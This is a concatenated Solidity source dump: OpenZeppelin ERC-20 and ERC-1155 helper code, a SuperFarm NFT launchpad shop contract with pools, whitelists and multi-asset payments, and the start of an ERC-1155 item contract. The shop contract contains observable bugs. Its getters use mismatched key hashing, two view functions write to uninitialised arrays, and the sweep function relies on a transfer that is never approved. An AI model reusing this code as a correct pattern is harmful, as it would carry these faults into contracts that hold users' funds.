* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC1155Receiver.sol";
import "../../introspection/ERC165.sol";
/**
* @dev _Available since v3.1._
*/
abstract contract ERC1155Receiver is ERC165, IERC1155Receiver {
constructor() internal {
_registerInterface(
ERC1155Receiver(address(0)).onERC1155Received.selector ^
ERC1155Receiver(address(0)).onERC1155BatchReceived.selector
);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC1155/ERC1155Holder.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./FeeOwner.sol";
import "./Fee1155NFTLockable.sol";
import "./Staker.sol";
/**
@title A Shop contract for selling NFTs via direct minting through particular
pools with specific participation requirements.
@author Tim Clancy
This launchpad contract is specifically optimized for SuperFarm direct use.
*/
contract ShopPlatformLaunchpad1155 is ERC1155Holder, Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// A version number for this Shop contract's interface.
uint256 public version = 2;
/// @dev A mask for isolating an item's group ID.
uint256 constant GROUP_MASK = uint256(uint128(~0)) << 128;
/// A user-specified Fee1155 contract to support selling items from.
Fee1155NFTLockable public item;
/// A user-specified FeeOwner to receive a portion of Shop earnings.
FeeOwner public feeOwner;
/// A user-specified Staker contract to spend user points on.
Staker[] public stakers;
/**
A limit on the number of items that a particular address may purchase across
any number of pools in the launchpad.
*/
uint256 public globalPurchaseLimit;
/// A mapping of addresses to the number of items each has purchased globally.
mapping (address => uint256) public globalPurchaseCounts;
/// The address of the orignal owner of the item contract.
address public originalOwner;
/// Whether ownership is locked to disable clawback.
bool public ownershipLocked;
/// A mapping of item group IDs to their next available issue number minus one.
mapping (uint256 => uint256) public nextItemIssues;
/// The next available ID to be assumed by the next whitelist added.
uint256 public nextWhitelistId;
/**
A mapping of whitelist IDs to specific Whitelist elements. Whitelists may be
shared between pools via specifying their ID in a pool requirement.
*/
mapping (uint256 => Whitelist) public whitelists;
/// The next available ID to be assumed by the next pool added.
uint256 public nextPoolId;
/// A mapping of pool IDs to pools.
mapping (uint256 => Pool) public pools;
/**
This struct is a source of mapping-free input to the `addPool` function.
@param name A name for the pool.
@param startBlock The first block where this pool begins allowing purchases.
@param endBlock The final block where this pool allows purchases.
@param purchaseLimit The maximum number of items a single address may purchase from this pool.
@param requirement A PoolRequirement requisite for users who want to participate in this pool.
*/
struct PoolInput {
string name;
uint256 startBlock;
uint256 endBlock;
uint256 purchaseLimit;
PoolRequirement requirement;
}
/**
This struct tracks information about a single item pool in the Shop.
@param name A name for the pool.
@param startBlock The first block where this pool begins allowing purchases.
@param endBlock The final block where this pool allows purchases.
@param purchaseLimit The maximum number of items a single address may purchase from this pool.
@param purchaseCounts A mapping of addresses to the number of items each has purchased from this pool.
@param requirement A PoolRequirement requisite for users who want to participate in this pool.
@param itemGroups An array of all item groups currently present in this pool.
@param currentPoolVersion A version number hashed with item group IDs before
being used as keys to other mappings. This supports efficient
invalidation of stale mappings.
@param itemCaps A mapping of item group IDs to the maximum number this pool is allowed to mint.
@param itemMinted A mapping of item group IDs to the number this pool has currently minted.
@param itemPricesLength A mapping of item group IDs to the number of price assets available to purchase with.
@param itemPrices A mapping of item group IDs to a mapping of available PricePair assets available to purchase with.
*/
struct Pool {
string name;
uint256 startBlock;
uint256 endBlock;
uint256 purchaseLimit;
mapping (address => uint256) purchaseCounts;
PoolRequirement requirement;
uint256[] itemGroups;
uint256 currentPoolVersion;
mapping (bytes32 => uint256) itemCaps;
mapping (bytes32 => uint256) itemMinted;
mapping (bytes32 => uint256) itemPricesLength;
mapping (bytes32 => mapping (uint256 => PricePair)) itemPrices;
}
/**
This struct tracks information about a prerequisite for a user to
participate in a pool.
@param requiredType
A sentinel value for the specific type of asset being required.
0 = a pool which requires no specific assets to participate.
1 = an ERC-20 token, see `requiredAsset`.
2 = an NFT item, see `requiredAsset`.
@param requiredAsset
Some more specific information about the asset to require.
If the `requiredType` is 1, we use this address to find the ERC-20
token that we should be specifically requiring holdings of.
If the `requiredType` is 2, we use this address to find the item
contract that we should be specifically requiring holdings of.
@param requiredAmount The amount of the specified `requiredAsset` required.
@param whitelistId
The ID of an address whitelist to restrict participants in this pool. To
participate, a purchaser must have their address present in the
corresponding whitelist. Other requirements from `requiredType` apply.
An ID of 0 is a sentinel value for no whitelist: a public pool.
*/
struct PoolRequirement {
uint256 requiredType;
address requiredAsset;
uint256 requiredAmount;
uint256 whitelistId;
}
/**
This struct tracks information about a single asset with associated price
that an item is being sold in the shop for.
@param assetType A sentinel value for the specific type of asset being used.
0 = non-transferrable points from a Staker; see `asset`.
1 = Ether.
2 = an ERC-20 token, see `asset`.
@param asset Some more specific information about the asset to charge in.
If the `assetType` is 0, we convert the given address to an
integer index for finding a specific Staker from `stakers`.
If the `assetType` is 1, we ignore this field.
If the `assetType` is 2, we use this address to find the ERC-20
token that we should be specifically charging with.
@param price The amount of the specified `assetType` and `asset` to charge.
*/
struct PricePair {
uint256 assetType;
address asset;
uint256 price;
}
/**
This struct is a source of mapping-free input to the `addWhitelist` function.
@param expiryBlock A block number after which this whitelist is automatically considered inactive, no matter the value of `isActive`.
@param isActive Whether or not this whitelist is actively restricting purchases in blocks before `expiryBlock`.
@param addresses An array of addresses to whitelist for participation in a purchase.
*/
struct WhitelistInput {
uint256 expiryBlock;
bool isActive;
address[] addresses;
}
/**
This struct tracks information about a single whitelist known to this
launchpad. Whitelists may be shared across potentially-multiple item pools.
@param expiryBlock A block number after which this whitelist is automatically considered inactive, no matter the value of `isActive`.
@param isActive Whether or not this whitelist is actively restricting purchases in blocks before `expiryBlock`.
@param currentWhitelistVersion A version number hashed with item group IDs before being used as keys to other mappings. This supports efficient invalidation of stale mappings.
@param addresses A mapping of hashed addresses to a flag indicating whether this whitelist allows the address to participate in a purchase.
*/
struct Whitelist {
uint256 expiryBlock;
bool isActive;
uint256 currentWhitelistVersion;
mapping (bytes32 => bool) addresses;
}
/**
This struct tracks information about a single item being sold in a pool.
@param groupId The group ID of the specific NFT in the collection being sold by a pool.
@param cap The maximum number of items that a pool may mint of the specified `groupId`.
@param minted The number of items that a pool has currently minted of the specified `groupId`.
@param prices The PricePair options that may be used to purchase this item from its pool.
*/
struct PoolItem {
uint256 groupId;
uint256 cap;
uint256 minted;
PricePair[] prices;
}
/**
This struct contains the information gleaned from the `getPool` and
`getPools` functions; it represents a single pool's data.
@param name A name for the pool.
@param startBlock The first block where this pool begins allowing purchases.
@param endBlock The final block where this pool allows purchases.
@param purchaseLimit The maximum number of items a single address may purchase from this pool.
@param requirement A PoolRequirement requisite for users who want to participate in this pool.
@param itemMetadataUri The metadata URI of the item collection being sold by this launchpad.
@param items An array of PoolItems representing each item for sale in the pool.
*/
struct PoolOutput {
string name;
uint256 startBlock;
uint256 endBlock;
uint256 purchaseLimit;
PoolRequirement requirement;
string itemMetadataUri;
PoolItem[] items;
}
/**
This struct contains the information gleaned from the `getPool` and
`getPools` functions; it represents a single pool's data. It also includes
additional information relevant to a user's address lookup.
@param name A name for the pool.
@param startBlock The first block where this pool begins allowing purchases.
@param endBlock The final block where this pool allows purchases.
@param purchaseLimit The maximum number of items a single address may purchase from this pool.
@param requirement A PoolRequirement requisite for users who want to participate in this pool.
@param itemMetadataUri The metadata URI of the item collection being sold by this launchpad.
@param items An array of PoolItems representing each item for sale in the pool.
@param purchaseCount The amount of items purchased from this pool by the specified address.
@param whitelistStatus Whether or not the specified address is whitelisted for this pool.
*/
struct PoolAddressOutput {
string name;
uint256 startBlock;
uint256 endBlock;
uint256 purchaseLimit;
PoolRequirement requirement;
string itemMetadataUri;
PoolItem[] items;
uint256 purchaseCount;
bool whitelistStatus;
}
/// An event to track the original item contract owner clawing back ownership.
event OwnershipClawback();
/// An event to track the original item contract owner locking future clawbacks.
event OwnershipLocked();
/// An event to track the complete replacement of a pool's data.
event PoolUpdated(uint256 poolId, PoolInput pool, uint256[] groupIds, uint256[] amounts, PricePair[][] pricePairs);
/// An event to track the complete replacement of addresses in a whitelist.
event WhitelistUpdated(uint256 whitelistId, address[] addresses);
/// An event to track the addition of addresses to a whitelist.
event WhitelistAddition(uint256 whitelistId, address[] addresses);
/// An event to track the removal of addresses from a whitelist.
event WhitelistRemoval(uint256 whitelistId, address[] addresses);
// An event to track activating or deactivating a whitelist.
event WhitelistActiveUpdate(uint256 whitelistId, bool isActive);
// An event to track the purchase of items from a pool.
event ItemPurchased(uint256 poolId, uint256[] itemIds, uint256 assetId, uint256[] amounts, address user);
/// @dev a modifier which allows only `originalOwner` to call a function.
modifier onlyOriginalOwner() {
require(originalOwner == _msgSender(),
"You are not the original owner of this contract.");
_;
}
/**
Construct a new Shop by providing it a FeeOwner.
@param _item The address of the Fee1155NFTLockable item that will be minting sales.
@param _feeOwner The address of the FeeOwner due a portion of Shop earnings.
@param _stakers The addresses of any Stakers to permit spending points from.
@param _globalPurchaseLimit A global limit on the number of items that a
single address may purchase across all pools in the launchpad.
*/
constructor(Fee1155NFTLockable _item, FeeOwner _feeOwner, Staker[] memory _stakers, uint256 _globalPurchaseLimit) public {
item = _item;
feeOwner = _feeOwner;
stakers = _stakers;
globalPurchaseLimit = _globalPurchaseLimit;
nextWhitelistId = 1;
originalOwner = item.owner();
ownershipLocked = false;
}
/**
A function which allows the caller to retrieve information about specific
pools, the items for sale within, and the collection this launchpad uses.
@param poolIds An array of pool IDs to retrieve information about.
*/
function getPools(uint256[] calldata poolIds) external view returns (PoolOutput[] memory) {
PoolOutput[] memory poolOutputs = new PoolOutput[](poolIds.length);
for (uint256 i = 0; i < poolIds.length; i++) {
uint256 poolId = poolIds[i];
// Process output for each pool.
PoolItem[] memory poolItems = new PoolItem[](pools[poolId].itemGroups.length);
for (uint256 j = 0; j < pools[poolId].itemGroups.length; j++) {
uint256 itemGroupId = pools[poolId].itemGroups[j];
bytes32 itemKey = keccak256(abi.encodePacked(pools[poolId].currentPoolVersion, itemGroupId));
// Parse each price the item is sold at.
PricePair[] memory itemPrices = new PricePair[](pools[poolId].itemPricesLength[itemKey]);
for (uint256 k = 0; k < pools[poolId].itemPricesLength[itemKey]; k++) {
itemPrices[k] = pools[poolId].itemPrices[itemKey][k];
}
// Track the item.
poolItems[j] = PoolItem({
groupId: itemGroupId,
cap: pools[poolId].itemCaps[itemKey],
minted: pools[poolId].itemMinted[itemKey],
prices: itemPrices
});
}
// Track the pool.
poolOutputs[i] = PoolOutput({
name: pools[poolId].name,
startBlock: pools[poolId].startBlock,
endBlock: pools[poolId].endBlock,
purchaseLimit: pools[poolId].purchaseLimit,
requirement: pools[poolId].requirement,
itemMetadataUri: item.metadataUri(),
items: poolItems
});
}
// Return the pools.
return poolOutputs;
}
/**
A function which allows the caller to retrieve the number of items specific
addresses have purchased from specific pools.
@param poolIds The IDs of the pools to check for addresses in `purchasers`.
@param purchasers The addresses to check the purchase counts for.
*/
function getPurchaseCounts(uint256[] calldata poolIds, address[] calldata purchasers) external view returns (uint256[][] memory) {
uint256[][] memory purchaseCounts;
for (uint256 i = 0; i < poolIds.length; i++) {
uint256 poolId = poolIds[i];
for (uint256 j = 0; j < purchasers.length; j++) {
address purchaser = purchasers[j];
purchaseCounts[j][i] = pools[poolId].purchaseCounts[purchaser];
}
}
return purchaseCounts;
}
/**
A function which allows the caller to retrieve information about specific
pools, the items for sale within, and the collection this launchpad uses.
A provided address differentiates this function from `getPools`; the added
address enables this function to retrieve pool data as well as whitelisting
and purchase count details for the provided address.
@param poolIds An array of pool IDs to retrieve information about.
@param userAddress An address which enables this function to support additional relevant data lookups.
*/
function getPoolsWithAddress(uint256[] calldata poolIds, address userAddress) external view returns (PoolAddressOutput[] memory) {
PoolAddressOutput[] memory poolOutputs = new PoolAddressOutput[](poolIds.length);
for (uint256 i = 0; i < poolIds.length; i++) {
uint256 poolId = poolIds[i];
// Process output for each pool.
PoolItem[] memory poolItems = new PoolItem[](pools[poolId].itemGroups.length);
for (uint256 j = 0; j < pools[poolId].itemGroups.length; j++) {
uint256 itemGroupId = pools[poolId].itemGroups[j];
bytes32 itemKey = keccak256(abi.encodePacked(pools[poolId].currentPoolVersion, itemGroupId));
// Parse each price the item is sold at.
PricePair[] memory itemPrices = new PricePair[](pools[poolId].itemPricesLength[itemKey]);
for (uint256 k = 0; k < pools[poolId].itemPricesLength[itemKey]; k++) {
itemPrices[k] = pools[poolId].itemPrices[itemKey][k];
}
// Track the item.
poolItems[j] = PoolItem({
groupId: itemGroupId,
cap: pools[poolId].itemCaps[itemKey],
minted: pools[poolId].itemMinted[itemKey],
prices: itemPrices
});
}
// Track the pool.
uint256 whitelistId = pools[poolId].requirement.whitelistId;
bytes32 addressKey = keccak256(abi.encode(whitelists[whitelistId].currentWhitelistVersion, userAddress));
poolOutputs[i] = PoolAddressOutput({
name: pools[poolId].name,
startBlock: pools[poolId].startBlock,
endBlock: pools[poolId].endBlock,
purchaseLimit: pools[poolId].purchaseLimit,
requirement: pools[poolId].requirement,
itemMetadataUri: item.metadataUri(),
items: poolItems,
purchaseCount: pools[poolId].purchaseCounts[userAddress],
whitelistStatus: whitelists[whitelistId].addresses[addressKey]
});
}
// Return the pools.
return poolOutputs;
}
/**
A function which allows the original owner of the item contract to revoke
ownership from the launchpad.
*/
function ownershipClawback() external onlyOriginalOwner {
require(!ownershipLocked,
"Ownership transfers have been locked.");
item.transferOwnership(originalOwner);
// Emit an event that the original owner of the item contract has clawed the contract back.
emit OwnershipClawback();
}
/**
A function which allows the original owner of this contract to lock all
future ownership clawbacks.
*/
function lockOwnership() external onlyOriginalOwner {
ownershipLocked = true;
// Emit an event that the contract's ownership transferrance is locked.
emit OwnershipLocked();
}
/**
Allow the owner of the Shop to add a new pool of items to purchase.
@param pool The PoolInput full of data defining the pool's operation.
@param _groupIds The specific Fee1155 item group IDs to sell in this pool, keyed to `_amounts`.
@param _amounts The maximum amount of each particular groupId that can be sold by this pool.
@param _pricePairs The asset address to price pairings to use for selling
each item.
*/
function addPool(PoolInput calldata pool, uint256[] calldata _groupIds, uint256[] calldata _amounts, PricePair[][] memory _pricePairs) external onlyOwner {
updatePool(nextPoolId, pool, _groupIds, _amounts, _pricePairs);
// Increment the ID which will be used by the next pool added.
nextPoolId = nextPoolId.add(1);
}
/**
Allow the owner of the Shop to update an existing pool of items.
@param poolId The ID of the pool to update.
@param pool The PoolInput full of data defining the pool's operation.
@param _groupIds The specific Fee1155 item group IDs to sell in this pool, keyed to `_amounts`.
@param _amounts The maximum amount of each particular groupId that can be sold by this pool.
@param _pricePairs The asset address to price pairings to use for selling
each item.
*/
function updatePool(uint256 poolId, PoolInput calldata pool, uint256[] calldata _groupIds, uint256[] calldata _amounts, PricePair[][] memory _pricePairs) public onlyOwner {
require(poolId <= nextPoolId,
"You cannot update a non-existent pool.");
require(pool.endBlock >= pool.startBlock,
"You cannot create a pool which ends before it starts.");
require(_groupIds.length > 0,
"You must list at least one item group.");
require(_groupIds.length == _amounts.length,
"Item groups length cannot be mismatched with mintable amounts length.");
require(_groupIds.length == _pricePairs.length,
"Item groups length cannot be mismatched with price pair inputlength.");
// Immediately store some given information about this pool.
uint256 newPoolVersion = pools[poolId].currentPoolVersion.add(1);
pools[poolId] = Pool({
name: pool.name,
startBlock: pool.startBlock,
endBlock: pool.endBlock,
purchaseLimit: pool.purchaseLimit,
itemGroups: _groupIds,
currentPoolVersion: newPoolVersion,
requirement: pool.requirement
});
// Store the amount of each item group that this pool may mint.
for (uint256 i = 0; i < _groupIds.length; i++) {
require(_amounts[i] > 0,
"You cannot add an item with no mintable amount.");
bytes32 itemKey = keccak256(abi.encode(newPoolVersion, _groupIds[i]));
pools[poolId].itemCaps[itemKey] = _amounts[i];
// Store future purchase information for the item group.
for (uint256 j = 0; j < _pricePairs[i].length; j++) {
pools[poolId].itemPrices[itemKey][j] = _pricePairs[i][j];
}
pools[poolId].itemPricesLength[itemKey] = _pricePairs[i].length;
}
// Emit an event indicating that a pool has been updated.
emit PoolUpdated(poolId, pool, _groupIds, _amounts, _pricePairs);
}
/**
Allow the owner to add a new whitelist.
@param whitelist The WhitelistInput full of data defining the new whitelist.
*/
function addWhitelist(WhitelistInput memory whitelist) external onlyOwner {
updateWhitelist(nextWhitelistId, whitelist);
// Increment the ID which will be used by the next whitelist added.
nextWhitelistId = nextWhitelistId.add(1);
}
/**
Allow the owner to update a whitelist.
@param whitelistId The whitelist ID to replace with the new whitelist.
@param whitelist The WhitelistInput full of data defining the new whitelist.
*/
function updateWhitelist(uint256 whitelistId, WhitelistInput memory whitelist) public onlyOwner {
uint256 newWhitelistVersion = whitelists[whitelistId].currentWhitelistVersion.add(1);
// Immediately store some given information about this whitelist.
whitelists[whitelistId] = Whitelist({
expiryBlock: whitelist.expiryBlock,
isActive: whitelist.isActive,
currentWhitelistVersion: newWhitelistVersion
});
// Invalidate the old mapping and store the new participation flags.
for (uint256 i = 0; i < whitelist.addresses.length; i++) {
bytes32 addressKey = keccak256(abi.encode(newWhitelistVersion, whitelist.addresses[i]));
whitelists[whitelistId].addresses[addressKey] = true;
}
// Emit an event to track the new, replaced state of the whitelist.
emit WhitelistUpdated(whitelistId, whitelist.addresses);
}
/**
Allow the owner to add specified addresses to a whitelist.
@param whitelistId The ID of the whitelist to add users to.
@param addresses The array of addresses to add.
*/
function addToWhitelist(uint256 whitelistId, address[] calldata addresses) public onlyOwner {
uint256 whitelistVersion = whitelists[whitelistId].currentWhitelistVersion;
for (uint256 i = 0; i < addresses.length; i++) {
bytes32 addressKey = keccak256(abi.encode(whitelistVersion, addresses[i]));
whitelists[whitelistId].addresses[addressKey] = true;
}
// Emit an event to track the addition of new addresses to the whitelist.
emit WhitelistAddition(whitelistId, addresses);
}
/**
Allow the owner to remove specified addresses from a whitelist.
@param whitelistId The ID of the whitelist to remove users from.
@param addresses The array of addresses to remove.
*/
function removeFromWhitelist(uint256 whitelistId, address[] calldata addresses) public onlyOwner {
uint256 whitelistVersion = whitelists[whitelistId].currentWhitelistVersion;
for (uint256 i = 0; i < addresses.length; i++) {
bytes32 addressKey = keccak256(abi.encode(whitelistVersion, addresses[i]));
whitelists[whitelistId].addresses[addressKey] = false;
}
// Emit an event to track the removal of addresses from the whitelist.
emit WhitelistRemoval(whitelistId, addresses);
}
/**
Allow the owner to manually set the active status of a specific whitelist.
@param whitelistId The ID of the whitelist to update the active flag for.
@param isActive The boolean flag to enable or disable the whitelist.
*/
function setWhitelistActive(uint256 whitelistId, bool isActive) public onlyOwner {
whitelists[whitelistId].isActive = isActive;
// Emit an event to track whitelist activation status changes.
emit WhitelistActiveUpdate(whitelistId, isActive);
}
/**
A function which allows the caller to retrieve whether or not addresses can
participate in some given whitelists.
@param whitelistIds The IDs of the whitelists to check for addresses.
@param addresses The addresses to check whitelist eligibility for.
*/
function getWhitelistStatus(uint256[] calldata whitelistIds, address[] calldata addresses) external view returns (bool[][] memory) {
bool[][] memory whitelistStatus;
for (uint256 i = 0; i < whitelistIds.length; i++) {
uint256 whitelistId = whitelistIds[i];
uint256 whitelistVersion = whitelists[whitelistId].currentWhitelistVersion;
for (uint256 j = 0; j < addresses.length; j++) {
bytes32 addressKey = keccak256(abi.encode(whitelistVersion, addresses[j]));
whitelistStatus[j][i] = whitelists[whitelistId].addresses[addressKey];
}
}
return whitelistStatus;
}
/**
Allow a user to purchase an item from a pool.
@param poolId The ID of the particular pool that the user would like to purchase from.
@param groupId The item group ID that the user would like to purchase.
@param assetId The type of payment asset that the user would like to purchase with.
@param amount The amount of item that the user would like to purchase.
*/
function mintFromPool(uint256 poolId, uint256 groupId, uint256 assetId, uint256 amount) external nonReentrant payable {
require(amount > 0,
"You must purchase at least one item.");
require(poolId < nextPoolId,
"You can only purchase items from an active pool.");
// Verify that the asset being used in the purchase is valid.
bytes32 itemKey = keccak256(abi.encode(pools[poolId].currentPoolVersion, groupId));
require(assetId < pools[poolId].itemPricesLength[itemKey],
"Your specified asset ID is not valid.");
// Verify that the pool is still running its sale.
require(block.number >= pools[poolId].startBlock && block.number <= pools[poolId].endBlock,
"This pool is not currently running its sale.");
// Verify that the pool is respecting per-address global purchase limits.
uint256 userGlobalPurchaseAmount = amount.add(globalPurchaseCounts[msg.sender]);
require(userGlobalPurchaseAmount <= globalPurchaseLimit,
"You may not purchase any more items from this sale.");
// Verify that the pool is respecting per-address pool purchase limits.
uint256 userPoolPurchaseAmount = amount.add(pools[poolId].purchaseCounts[msg.sender]);
require(userPoolPurchaseAmount <= pools[poolId].purchaseLimit,
"You may not purchase any more items from this pool.");
// Verify that the pool is either public, whitelist-expired, or an address is whitelisted.
{
uint256 whitelistId = pools[poolId].requirement.whitelistId;
uint256 whitelistVersion = whitelists[whitelistId].currentWhitelistVersion;
bytes32 addressKey = keccak256(abi.encode(whitelistVersion, msg.sender));
bool addressWhitelisted = whitelists[whitelistId].addresses[addressKey];
require(whitelistId == 0 || block.number > whitelists[whitelistId].expiryBlock || addressWhitelisted || !whitelists[whitelistId].isActive,
"You are not whitelisted on this pool.");
}
// Verify that the pool is not depleted by the user's purchase.
uint256 newCirculatingTotal = pools[poolId].itemMinted[itemKey].add(amount);
require(newCirculatingTotal <= pools[poolId].itemCaps[itemKey],
"There are not enough items available for you to purchase.");
// Verify that the user meets any requirements gating participation in this pool.
PoolRequirement memory poolRequirement = pools[poolId].requirement;
if (poolRequirement.requiredType == 1) {
IERC20 requiredToken = IERC20(poolRequirement.requiredAsset);
require(requiredToken.balanceOf(msg.sender) >= poolRequirement.requiredAmount,
"You do not have enough required token to participate in this pool.");
}
// TODO: supporting item gate requirement requires upgrading the Fee1155 contract.
// else if (poolRequirement.requiredType == 2) {
// Fee1155 requiredItem = Fee1155(poolRequirement.requiredAsset);
// require(requiredItem.balanceOf(msg.sender) >= poolRequirement.requiredAmount,
// "You do not have enough required item to participate in this pool.");
// }
// Process payment for the user.
// If the sentinel value for the point asset type is found, sell for points.
// This involves converting the asset from an address to a Staker index.
PricePair memory sellingPair = pools[poolId].itemPrices[itemKey][assetId];
if (sellingPair.assetType == 0) {
uint256 stakerIndex = uint256(sellingPair.asset);
stakers[stakerIndex].spendPoints(msg.sender, sellingPair.price.mul(amount));
// If the sentinel value for the Ether asset type is found, sell for Ether.
} else if (sellingPair.assetType == 1) {
uint256 etherPrice = sellingPair.price.mul(amount);
require(msg.value >= etherPrice,
"You did not send enough Ether to complete this purchase.");
(bool success, ) = payable(owner()).call{ value: msg.value }("");
require(success, "Shop owner transfer failed.");
// Otherwise, attempt to sell for an ERC20 token.
} else {
IERC20 sellingAsset = IERC20(sellingPair.asset);
uint256 tokenPrice = sellingPair.price.mul(amount);
require(sellingAsset.balanceOf(msg.sender) >= tokenPrice,
"You do not have enough token to complete this purchase.");
sellingAsset.safeTransferFrom(msg.sender, owner(), tokenPrice);
}
// If payment is successful, mint each of the user's purchased items.
uint256[] memory itemIds = new uint256[](amount);
uint256[] memory amounts = new uint256[](amount);
uint256 nextIssueNumber = nextItemIssues[groupId];
{
uint256 shiftedGroupId = groupId << 128;
for (uint256 i = 1; i <= amount; i++) {
uint256 itemId = shiftedGroupId.add(nextIssueNumber).add(i);
itemIds[i - 1] = itemId;
amounts[i - 1] = 1;
}
}
// Mint the items.
item.createNFT(msg.sender, itemIds, amounts, "");
// Update the tracker for available item issue numbers.
nextItemIssues[groupId] = nextIssueNumber.add(amount);
// Update the count of circulating items from this pool.
pools[poolId].itemMinted[itemKey] = newCirculatingTotal;
// Update the pool's count of items that a user has purchased.
pools[poolId].purchaseCounts[msg.sender] = userPoolPurchaseAmount;
// Update the global count of items that a user has purchased.
globalPurchaseCounts[msg.sender] = userGlobalPurchaseAmount;
// Emit an event indicating a successful purchase.
emit ItemPurchased(poolId, itemIds, assetId, amounts, msg.sender);
}
/**
Sweep all of a particular ERC-20 token from the contract.
@param _token The token to sweep the balance from.
*/
function sweep(IERC20 _token) external onlyOwner {
uint256 balance = _token.balanceOf(address(this));
_token.safeTransferFrom(address(this), msg.sender, balance);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./FeeOwner.sol";
/**
@title An OpenSea delegate proxy contract which we include for whitelisting.
@author OpenSea
*/
contract OwnableDelegateProxy { }
/**
@title An OpenSea proxy registry contract which we include for whitelisting.
@author OpenSea
*/
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
@title An ERC-1155 item creation contract which specifies an associated
FeeOwner who receives royalties from sales of created items.
@author Tim Clancy
The fee set by the FeeOwner on this Item is honored by Shop contracts.
In addition to the inherited OpenZeppelin dependency, this uses ideas from
the original ERC-1155 reference implementation.
*/
contract Fee1155NFTLockable is ERC1155, Ownable {
using SafeMath for uint256;
/// A version number for this fee-bearing 1155 item contract's interface.
uint256 public version = 1;
/// The ERC-1155 URI for looking up item metadata using {id} substitution.
string public metadataUri;
/// A user-specified FeeOwner to receive a portion of item sale earnings.
FeeOwner public feeOwner;
/// Specifically whitelist an OpenSea proxy registry address.
address public proxyRegistryAddress;
/// A counter to enforce unique IDs for each item group minted.
uint256 public nextItemGroupId;
/// This mapping tracks the number of unique items within each item group.
mapping (uint256 => uint256) public itemGroupSizes;
/// Whether or not the item collection has been locked to further minting.
bool public locked;
